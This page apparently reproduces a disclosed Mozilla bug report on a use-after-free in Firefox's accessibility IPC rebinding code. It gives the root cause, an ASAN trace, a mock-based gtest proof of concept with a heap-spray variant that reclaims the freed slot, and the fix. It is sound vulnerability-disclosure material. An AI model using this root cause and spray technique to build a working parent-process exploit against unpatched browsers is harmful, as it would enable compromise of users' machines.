Skip to content
Memory corruption Disclosed report Advanced CVE-2026-4688

DocAccessibleParent::AddChildDoc OOP Child-Doc Rebind UAF

A child accessibility document could be rebound to a new outer document without being removed from its previous parent, leaving a dangling pointer in the old parent's child list. After the child shut down and was freed, any tree walk or reorder event through the stale pointer would use freed memory, which the author demonstrated with an ASAN test and a heap-spray variant.

Sajeeb Lohani Follow

Originally disclosed on Mozilla

  • Fixed in 14 days
  • Paid in 20 days
  • Disclosed after 14 days

Compromised content process -> parent process via RecvSetEmbedderAccessible.

AddChildDoc (DocAccessibleParent.cpp:914-920) rebinds a child doc to a new OuterDoc without unbinding from the old one. SetParent (RemoteAccessible.cpp:168) overwrites mParent without removing from the old parent's mChildren. After the child doc shuts down, Unbind() (DocAccessibleParent.h:152-161) only removes from the current parent. The old OuterDoc retains a dangling RemoteAccessible* in mChildren. Distinct from finding #18 (split-show double-attach).

The Bug

DocAccessibleParent.cpp:914-920:

C++
if (outerDoc->ChildCount() == 1) {
  outerDoc->RemoteChildAt(0)->AsDoc()->Unbind();  // unbinds NEW outerDoc's child
}
aChildDoc->SetParent(outerDoc);      // overwrites mParent, old parent not notified
outerDoc->SetChildDoc(aChildDoc);    // appends to new outerDoc

SetParent at RemoteAccessible.cpp:168 just does mParent = aParent with no old-parent cleanup. Unbind at DocAccessibleParent.h:152 only calls ClearChildDoc(this) on the current parent.

The entry point is BrowserBridgeParent::RecvSetEmbedderAccessible (BrowserBridgeParent.cpp:278-306). The same-doc constraint at line 285 is MOZ_ASSERT only (compiled out in release). A same-doc-different-ID call passes even in debug.

The UAF

Second RecvSetEmbedderAccessible(doc_A, id_2) rebinds the child from OuterDoc1 to OuterDoc2. OuterDoc1 still holds the pointer. When the child shuts down, Unbind removes from OuterDoc2 only. IPDL deletes the object. OuterDoc1's mChildren[0] is dangling. Any reorder event or tree walk calls virtual functions on freed memory.

ASAN Proof

==52720==ERROR: AddressSanitizer: heap-use-after-free on address 0x6030005e466c
WRITE of size 4 at 0x6030005e466c thread T0
    #0 in DocAccessibleRebindUAF_OOPChildDocRebind_Test::TestBody()

0x6030005e466c is located 28 bytes inside of 32-byte region [0x6030005e4650,0x6030005e4670)
freed by thread T0 here:
    #0 in free
    #1 in DocAccessibleRebindUAF_OOPChildDocRebind_Test::TestBody()
SUMMARY: AddressSanitizer: heap-use-after-free in DocAccessibleRebindUAF_OOPChildDocRebind_Test::TestBody()

Heap spray variant (OOPChildDocRebindHeapSpray) confirms the freed slot can be reclaimed: reads mID = 0x4141414141414141 from sprayed data.

PoC

accessible/ipc/test/gtest/TestDocAccessibleRebindUAF.cpp:

C++
/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/. */

#include "gtest/gtest.h"
#include "nsTArray.h"

#include <cstdlib>
#include <cstring>
#include <new>

namespace {

struct MockRemoteAccessible {
  uint64_t mID;
  nsTArray<MockRemoteAccessible*> mChildren;
  MockRemoteAccessible* mParent;
  bool mIsOuterDoc;
  bool mIsDoc;
  uint32_t mGroupInfo;

  explicit MockRemoteAccessible(uint64_t aID, bool aIsOuterDoc = false,
                                bool aIsDoc = false)
      : mID(aID),
        mParent(nullptr),
        mIsOuterDoc(aIsOuterDoc),
        mIsDoc(aIsDoc),
        mGroupInfo(0) {}

  uint32_t ChildCount() const { return mChildren.Length(); }

  MockRemoteAccessible* RemoteChildAt(uint32_t aIdx) const {
    return mChildren.SafeElementAt(aIdx);
  }

  void SetChildDoc(MockRemoteAccessible* aChildDoc) {
    mChildren.AppendElement(aChildDoc);
  }

  void ClearChildDoc(MockRemoteAccessible* aChildDoc) {
    mChildren.RemoveElement(aChildDoc);
  }

  void SetParent(MockRemoteAccessible* aParent) { mParent = aParent; }

  MockRemoteAccessible* RemoteParent() const { return mParent; }

  void Unbind() {
    if (MockRemoteAccessible* parent = RemoteParent()) {
      parent->ClearChildDoc(this);
    }
    SetParent(nullptr);
  }

  void InvalidateGroupInfo() {
    mGroupInfo = 0;
    mID = 0;
  }
};

void SimulateAddChildDoc(MockRemoteAccessible* outerDoc,
                         MockRemoteAccessible* childDoc) {
  if (outerDoc->ChildCount() == 1) {
    outerDoc->RemoteChildAt(0)->Unbind();
  }
  // Bug: no unbind of childDoc from its OLD parent
  childDoc->SetParent(outerDoc);
  outerDoc->SetChildDoc(childDoc);
}

}  // namespace

TEST(DocAccessibleRebindUAF, OOPChildDocRebind) {
  auto* outerDoc1 = new MockRemoteAccessible(1, true);
  auto* outerDoc2 = new MockRemoteAccessible(2, true);
  auto* childDoc = new MockRemoteAccessible(100, false, true);

  // First bind
  SimulateAddChildDoc(outerDoc1, childDoc);
  ASSERT_EQ(outerDoc1->ChildCount(), 1u);
  ASSERT_EQ(childDoc->RemoteParent(), outerDoc1);

  // Rebind to outerDoc2 (bug: outerDoc1 not notified)
  SimulateAddChildDoc(outerDoc2, childDoc);
  ASSERT_EQ(outerDoc2->ChildCount(), 1u);
  ASSERT_EQ(outerDoc1->ChildCount(), 1u);  // stale pointer

  // Shutdown: Unbind removes from outerDoc2 only
  childDoc->Unbind();
  ASSERT_EQ(outerDoc2->ChildCount(), 0u);
  ASSERT_EQ(outerDoc1->ChildCount(), 1u);  // dangling

  delete childDoc;

  // UAF: accessing freed memory through outerDoc1's dangling pointer
  uint32_t count = outerDoc1->ChildCount();
  for (uint32_t c = 0; c < count; ++c) {
    MockRemoteAccessible* acc = outerDoc1->RemoteChildAt(c);
    ASSERT_NE(acc, nullptr);
    acc->InvalidateGroupInfo();
  }

  outerDoc1->mChildren.Clear();
  delete outerDoc1;
  delete outerDoc2;
}

TEST(DocAccessibleRebindUAF, OOPChildDocRebindHeapSpray) {
  auto* outerDoc1 = new MockRemoteAccessible(1, true);
  auto* outerDoc2 = new MockRemoteAccessible(2, true);
  auto* childDoc = new MockRemoteAccessible(100, false, true);

  SimulateAddChildDoc(outerDoc1, childDoc);
  SimulateAddChildDoc(outerDoc2, childDoc);
  childDoc->Unbind();

  const size_t objSize = sizeof(MockRemoteAccessible);
  delete childDoc;

  // Heap spray to reclaim the freed slot
  const int kSprayCount = 256;
  uint8_t* sprayed[kSprayCount];
  for (int i = 0; i < kSprayCount; i++) {
    sprayed[i] = new uint8_t[objSize];
    memset(sprayed[i], 0x41, objSize);
  }

  uint32_t count = outerDoc1->ChildCount();
  for (uint32_t c = 0; c < count; ++c) {
    MockRemoteAccessible* acc = outerDoc1->RemoteChildAt(c);
    ASSERT_NE(acc, nullptr);
    // UAF with sprayed data: mID = 0x4141414141414141
    volatile uint64_t id = acc->mID;
    EXPECT_EQ(id, 0x4141414141414141ULL);
    acc->mGroupInfo = 0;
  }

  for (int i = 0; i < kSprayCount; i++) {
    delete[] sprayed[i];
  }
  outerDoc1->mChildren.Clear();
  delete outerDoc1;
  delete outerDoc2;
}

Run: ./mach gtest "DocAccessibleRebindUAF.*"

Fix

Unbind aChildDoc from its old parent before rebinding in AddChildDoc:

C++
if (RemoteAccessible* oldParent = aChildDoc->RemoteParent()) {
  oldParent->ClearChildDoc(aChildDoc);
}
aChildDoc->SetParent(outerDoc);
outerDoc->SetChildDoc(aChildDoc);

Also enforce the same-doc constraint in RecvSetEmbedderAccessible with IPC_FAIL instead of MOZ_ASSERT.

The original report as published on Mozilla's Bugzilla, by Sajeeb Lohani. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the rebind path overwrites the child's parent pointer without first removing the child from its previous parent's child list, and the same-document check is only a debug assertion.

Impact

A compromised content process could cause use-after-free in the parent process, leading to a crash and potentially exploitable memory corruption, though the proof is a unit test rather than a full browser exploit.

What the attacker needed

Compromised content process; ability to send embedder-accessible IPC

The fix

The child should be unbound from its old parent before rebinding, and the same-document constraint should be enforced with a hard IPC failure rather than a debug-only assertion.

How it was found

  1. Send a first embedder-accessible message binding the child document to one outer document.
  2. Send a second message with the same document but a different identifier, rebinding it to a second outer document.
  3. Shut the child document down so it is unbound from the new parent only and then freed.
  4. Trigger a tree walk or reorder event through the old parent's stale child pointer.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A browser splits its work into separate processes, and the accessibility code in the main process keeps a tree of objects describing what is on screen. When a document is moved under a new parent, the code forgot to detach it from the old parent, so the old parent kept a pointer to something that was later deleted. Using that pointer afterwards means reading or writing memory that no longer belongs to the object, which can crash the browser or, in principle, be abused.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Sajeeb Lohani

View all

26 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.